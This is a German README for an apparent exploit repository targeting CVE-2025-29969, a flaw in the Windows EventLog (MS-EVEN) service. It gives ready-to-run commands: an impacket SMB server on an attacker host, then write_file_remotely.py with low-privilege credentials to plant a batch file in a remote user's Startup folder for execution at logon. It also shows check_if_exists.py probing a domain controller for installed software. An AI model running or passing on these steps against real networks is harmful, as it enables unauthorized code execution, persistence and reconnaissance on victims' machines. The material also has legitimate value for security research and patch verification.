
Ausnutzung von CVE-2025-29969
EventLogin ist eine Time-of-Check-Time-of-Use-Schwachstelle im MS-EVEN-Protokoll. Die Schwachstelle ermöglicht es niedrig privilegierten Benutzern, beliebige Dateien auf einem entfernten Rechner zu schreiben, wodurch die Notwendigkeit eines Administratorkontos für einen entfernten Schreibzugriff effektiv umgangen wird.
In diesem Repository gibt es zwei Skripte: Eines nutzt die Schwachstelle aus (write_file_remotely.py), und das andere verwendet eine der Schwachstellen-Primitiven, um zu prüfen, ob eine entfernte Datei existiert oder nicht – und das als niedrig privilegierter Benutzer. Dies ist nützlich, um beispielsweise installierte Programme auf anderen Computern in der Domäne zu sehen.
Die vollständige Analyse finden Sie hier:
EventLog-in: Propagating With Weak Credentials Using the Eventlog Service in Microsoft Windows
Erstellen Sie zunächst eine SMB-Freigabe mit impacket:
impacket-smbserver -smb2support Share /tmp/safebreach
Hinweis: Das Skript verwendet die fest codierte 'Share' als Freigabenamen – bei Bedarf anpassen.
Führen Sie dann das Skript write_file_remotely.py aus und geben Sie alle erforderlichen Parameter an:
Beispiel:
python write_file_remotely.py 192.168.56.102 192.168.56.105 lowuser Test123 "/tmp/safebreach/Sample.evtx" "calc.bat" "C:\\Users\\lowuser\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\target.bat"
Dieses Skript nutzt die Schwachstelle selbst nicht aus, es verwendet nur die „CreateFile“-Primitive und kann Ihnen bei der Netzwerkerkundung helfen.
Beispielsweise ist das Programmdatei-Verzeichnis eines entfernten Rechners in einer Domäne für die gesamte Gruppe „Users“ zugänglich. Das bedeutet, dass Sie mit den Anmeldedaten JEDES Benutzers prüfen können, ob eine Datei auf einem anderen Rechner existiert oder nicht.
Es akzeptiert die folgenden Parameter:
Beispiel: Überprüfen Sie, ob Wireshark auf dem Domänencontroller (192.168.56.57) installiert ist, und zwar mit einem niedrig privilegierten Benutzer.
python check_if_exists.py 192.168.56.57 lowuser Password1! "C:\Program Files\Wireshark"
Ergebnis:
FILE_EXISTS_AND_IS_DIRECTORY